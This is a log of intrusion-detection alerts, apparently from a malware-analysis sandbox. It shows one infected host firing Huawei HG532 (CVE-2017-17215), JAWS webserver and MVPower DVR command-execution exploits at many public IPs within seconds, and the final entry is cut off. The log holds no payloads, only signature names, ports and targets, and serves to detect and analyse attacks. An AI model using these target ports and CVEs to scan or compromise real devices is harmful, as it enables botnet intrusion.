ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.128.202.20

Timestamp:	06/10/24-15:38:00.212309
SID:	2835222
Source Port:	55900
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.235.58.223

Timestamp:	06/10/24-15:38:02.502251
SID:	2835222
Source Port:	51694
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 31.24.128.114

Timestamp:	06/10/24-15:37:59.788491
SID:	2030092
Source Port:	46042
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.47.184.132

Timestamp:	06/10/24-15:38:02.723332
SID:	2829579
Source Port:	47500
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.19.135.49

Timestamp:	06/10/24-15:38:00.019873
SID:	2829579
Source Port:	41708
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 118.240.5.99

Timestamp:	06/10/24-15:38:02.100541
SID:	2030092
Source Port:	60212
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.186.142.103

Timestamp:	06/10/24-15:38:02.778188
SID:	2835222
Source Port:	36016
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.34.17.184

Timestamp:	06/10/24-15:38:02.862438
SID:	2829579
Source Port:	57532
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.168.51.174

Timestamp:	06/10/24-15:38:02.869004
SID:	2829579
Source Port:	39244
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.110.2.110

Timestamp:	06/10/24-15:38:00.183832
SID:	2835222
Source Port:	50966
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 103.245.19.81

Timestamp:	06/10/24-15:38:02.135367
SID:	2030092
Source Port:	56392
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.57.11.197

Timestamp:	06/10/24-15:37:59.925134
SID:	2835222
Source Port:	60470
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.152.171.196

Timestamp:	06/10/24-15:38:02.644982
SID:	2835222
Source Port:	60718
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.95.0.54

Timestamp:	06/10/24-15:38:00.261547
SID:	2829579
Source Port:	51604
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.81.221.6

Timestamp:	06/10/24-15:38:02.689784
SID:	2829579
Source Port:	55340
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 142.74.226.65

Timestamp:	06/10/24-15:38:02.118012
SID:	2030092
Source Port:	40336
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 89.247.19.145

Timestamp:	06/10/24-15:38:02.259702
SID:	2030092
Source Port:	48706
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.45.254.180

Timestamp:	06/10/24-15:38:02.776905
SID:	2829579
Source Port:	46860
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.36.86.237

Timestamp:	06/10/24-15:38:00.231962
SID:	2835222
Source Port:	49858
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.139.95.100

Timestamp:	06/10/24-15:38:00.039932
SID:	2835222
Source Port:	38456
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.114.103.51

Timestamp:	06/10/24-15:38:00.233672
SID:	2835222
Source Port:	59904
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 122.194.52.31

Timestamp:	06/10/24-15:38:02.113559
SID:	2030092
Source Port:	47840
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.245.237.250

Timestamp:	06/10/24-15:38:00.012794
SID:	2835222
Source Port:	49156
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.65.114.229

Timestamp:	06/10/24-15:38:00.170870
SID:	2835222
Source Port:	57464
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.241.169.48

Timestamp:	06/10/24-15:38:02.500162
SID:	2835222
Source Port:	43270
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.217.108.5

Timestamp:	06/10/24-15:38:00.173963
SID:	2829579
Source Port:	33040
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.212.245.105

Timestamp:	06/10/24-15:38:02.712763
SID:	2835222
Source Port:	56980
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.10.20.117

Timestamp:	06/10/24-15:37:59.943966
SID:	2829579
Source Port:	60614
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.197.209.223

Timestamp:	06/10/24-15:37:59.984293
SID:	2829579
Source Port:	52668
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.19.84.44

Timestamp:	06/10/24-15:38:02.808787
SID:	2835222
Source Port:	53890
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.79.171.4

Timestamp:	06/10/24-15:38:00.201249
SID:	2829579
Source Port:	56976
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.63.49.202

Timestamp:	06/10/24-15:38:02.657974
SID:	2829579
Source Port:	38440
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 160.15.119.249

Timestamp:	06/10/24-15:38:02.250691
SID:	2030092
Source Port:	33128
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.64.121.194

Timestamp:	06/10/24-15:37:59.980839
SID:	2829579
Source Port:	35420
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.156.74.74

Timestamp:	06/10/24-15:38:00.002985
SID:	2835222
Source Port:	34412
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.36.79.49

Timestamp:	06/10/24-15:38:02.869779
SID:	2829579
Source Port:	58204
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.157.72.91

Timestamp:	06/10/24-15:38:02.928461
SID:	2835222
Source Port:	46424
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.250.0.84

Timestamp:	06/10/24-15:38:00.208966
SID:	2835222
Source Port:	42074
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.199.176.162

Timestamp:	06/10/24-15:38:00.162961
SID:	2835222
Source Port:	55306
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.39.173.119

Timestamp:	06/10/24-15:38:02.775920
SID:	2829579
Source Port:	35870
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.129.146.218

Timestamp:	06/10/24-15:38:00.266123
SID:	2829579
Source Port:	37370
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.111.68.220

Timestamp:	06/10/24-15:38:02.740863
SID:	2829579
Source Port:	59230
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.245.2.205

Timestamp:	06/10/24-15:37:59.995486
SID:	2829579
Source Port:	58564
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.253.102.61

Timestamp:	06/10/24-15:38:00.017705
SID:	2835222
Source Port:	44662
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.150.80.142

Timestamp:	06/10/24-15:38:02.879110
SID:	2829579
Source Port:	58050
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 221.178.28.105

Timestamp:	06/10/24-15:38:02.118708
SID:	2030092
Source Port:	41168
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.224.70.86

Timestamp:	06/10/24-15:38:02.677116
SID:	2829579
Source Port:	45284
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.231.72.216

Timestamp:	06/10/24-15:38:00.243236
SID:	2829579
Source Port:	34724
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 96.64.204.162

Timestamp:	06/10/24-15:38:02.211759
SID:	2030092
Source Port:	36122
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.187.204.30

Timestamp:	06/10/24-15:38:02.913437
SID:	2835222
Source Port:	59684
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 145.193.92.118

Timestamp:	06/10/24-15:37:59.820455
SID:	2025883
Source Port:	48502
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.38.164.93

Timestamp:	06/10/24-15:37:59.974792
SID:	2835222
Source Port:	44740
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 86.248.77.229

Timestamp:	06/10/24-15:37:59.864921
SID:	2030092
Source Port:	37108
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.130.110.26

Timestamp:	06/10/24-15:38:00.258036
SID:	2835222
Source Port:	52852
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.9.80.183

Timestamp:	06/10/24-15:38:00.183026
SID:	2835222
Source Port:	53528
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.149.87.73

Timestamp:	06/10/24-15:38:02.497343
SID:	2835222
Source Port:	58434
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.24.110.61

Timestamp:	06/10/24-15:38:00.020596
SID:	2835222
Source Port:	56620
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.231.3.185

Timestamp:	06/10/24-15:37:59.975667
SID:	2835222
Source Port:	36530
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.177.168.250

Timestamp:	06/10/24-15:38:02.780766
SID:	2829579
Source Port:	57340
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.166.206.200

Timestamp:	06/10/24-15:38:00.215590
SID:	2829579
Source Port:	57534
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.151.209.193

Timestamp:	06/10/24-15:38:02.666292
SID:	2829579
Source Port:	34524
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.204.133.93

Timestamp:	06/10/24-15:37:59.978246
SID:	2835222
Source Port:	60256
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.134.197.214

Timestamp:	06/10/24-15:38:02.491066
SID:	2829579
Source Port:	47950
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.154.67.6

Timestamp:	06/10/24-15:38:00.193307
SID:	2835222
Source Port:	34652
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 88.157.63.21

Timestamp:	06/10/24-15:37:59.767523
SID:	2030092
Source Port:	60126
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.178.84.39

Timestamp:	06/10/24-15:38:02.660067
SID:	2835222
Source Port:	60882
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.2.52.209

Timestamp:	06/10/24-15:38:02.836583
SID:	2829579
Source Port:	33064
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.176.59.104

Timestamp:	06/10/24-15:38:00.163693
SID:	2835222
Source Port:	60154
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.38.108.66

Timestamp:	06/10/24-15:38:00.004662
SID:	2835222
Source Port:	53414
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.224.191.228

Timestamp:	06/10/24-15:38:02.674620
SID:	2829579
Source Port:	54890
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.109.88.228

Timestamp:	06/10/24-15:38:00.263049
SID:	2835222
Source Port:	57558
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.115.29.3

Timestamp:	06/10/24-15:38:00.033459
SID:	2829579
Source Port:	36414
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 135.204.76.26

Timestamp:	06/10/24-15:38:02.121619
SID:	2030092
Source Port:	51760
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.218.218.29

Timestamp:	06/10/24-15:38:02.763209
SID:	2829579
Source Port:	43930
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 102.230.19.253

Timestamp:	06/10/24-15:37:59.762945
SID:	2025883
Source Port:	50134
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.169.217.182

Timestamp:	06/10/24-15:38:00.030618
SID:	2829579
Source Port:	41584
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.211.140.83

Timestamp:	06/10/24-15:38:02.507632
SID:	2829579
Source Port:	60618
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.180.47.217

Timestamp:	06/10/24-15:38:02.771027
SID:	2835222
Source Port:	35570
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.150.135.103

Timestamp:	06/10/24-15:38:02.768716
SID:	2835222
Source Port:	53660
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.109.81.128

Timestamp:	06/10/24-15:37:59.988624
SID:	2829579
Source Port:	51130
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.229.179.187

Timestamp:	06/10/24-15:38:00.253141
SID:	2835222
Source Port:	42484
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.81.50.55

Timestamp:	06/10/24-15:38:02.851207
SID:	2835222
Source Port:	55572
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.11.121.199

Timestamp:	06/10/24-15:37:59.938715
SID:	2829579
Source Port:	45636
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 96.169.78.25

Timestamp:	06/10/24-15:38:02.173369
SID:	2030092
Source Port:	45780
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.192.210.171

Timestamp:	06/10/24-15:37:59.936837
SID:	2829579
Source Port:	47918
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 37.23.114.2

Timestamp:	06/10/24-15:38:02.261108
SID:	2030092
Source Port:	47972
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.99.205.156

Timestamp:	06/10/24-15:37:59.994517
SID:	2829579
Source Port:	39806
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.243.121.228

Timestamp:	06/10/24-15:38:02.754766
SID:	2829579
Source Port:	59676
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.199.166.65

Timestamp:	06/10/24-15:38:00.029895
SID:	2829579
Source Port:	33426
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 211.186.230.205

Timestamp:	06/10/24-15:38:02.200092
SID:	2030092
Source Port:	41896
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.254.151.216

Timestamp:	06/10/24-15:38:02.779348
SID:	2835222
Source Port:	39560
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.39.148.204

Timestamp:	06/10/24-15:38:02.860487
SID:	2829579
Source Port:	44080
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 86.102.128.211

Timestamp:	06/10/24-15:37:59.795427
SID:	2025883
Source Port:	37488
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.94.187.63

Timestamp:	06/10/24-15:38:00.031359
SID:	2835222
Source Port:	52142
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 118.231.106.106

Timestamp:	06/10/24-15:38:02.215874
SID:	2030092
Source Port:	35478
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 195.50.200.227

Timestamp:	06/10/24-15:37:59.800000
SID:	2025883
Source Port:	42016
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.136.197.138

Timestamp:	06/10/24-15:38:00.133538
SID:	2835222
Source Port:	35252
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.120.207.139

Timestamp:	06/10/24-15:38:02.656081
SID:	2835222
Source Port:	38930
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.248.183.47

Timestamp:	06/10/24-15:38:02.757283
SID:	2835222
Source Port:	44434
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 220.219.206.99

Timestamp:	06/10/24-15:37:59.831568
SID:	2025883
Source Port:	53462
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 23.71.76.230

Timestamp:	06/10/24-15:38:02.263838
SID:	2030092
Source Port:	50566
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.164.51.0

Timestamp:	06/10/24-15:38:02.685061
SID:	2835222
Source Port:	51404
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.127.189.142

Timestamp:	06/10/24-15:38:00.176046
SID:	2835222
Source Port:	41532
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 160.158.220.221

Timestamp:	06/10/24-15:37:59.827151
SID:	2030092
Source Port:	51382
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.60.90.199

Timestamp:	06/10/24-15:37:59.934919
SID:	2835222
Source Port:	56378
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.122.137.98

